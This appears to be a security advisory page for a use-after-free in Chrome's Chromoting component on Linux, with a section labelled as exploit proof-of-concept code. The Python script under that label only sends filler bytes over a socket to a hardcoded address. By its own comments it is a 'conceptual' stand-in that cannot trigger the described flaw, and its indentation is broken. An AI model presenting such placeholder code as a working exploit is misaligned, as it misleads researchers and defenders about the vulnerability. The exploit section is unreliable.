Use after free in Chromoting in Google Chrome on Linux prior to 148.0.7778.96 allowed a remote attacker to execute arbitrary code via malicious network traffic. (Chromium security severity: Critical)
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
Google Chrome < 148.0.7778.96 (Linux)
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket
# Conceptual Proof of Concept for CVE-2026-7898
# This script simulates sending malicious network traffic to trigger the UAF.
# Target: Google Chrome Chromoting component on Linux < 148.0.7778.96
target_ip = "192.168.1.100"
target_port = 443 # Default HTTPS/Chromoting port
# Malicious payload designed to trigger the Use-After-Free condition
# Specific bytes would depend on the actual memory layout and exploit logic.
payload = b"\x00\x01\x02" + b"A" * 1000 + b"\xff\xff\xff\xff"
try:
print(f"[*] Connecting to {target_ip}:{target_port}...")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, target_port))
print("[*] Sending malicious payload...")
s.send(payload)
print("[*] Payload sent. Check target for crash or code execution.")
s.close()
except Exception as e:
print(f"[!] Error: {e}")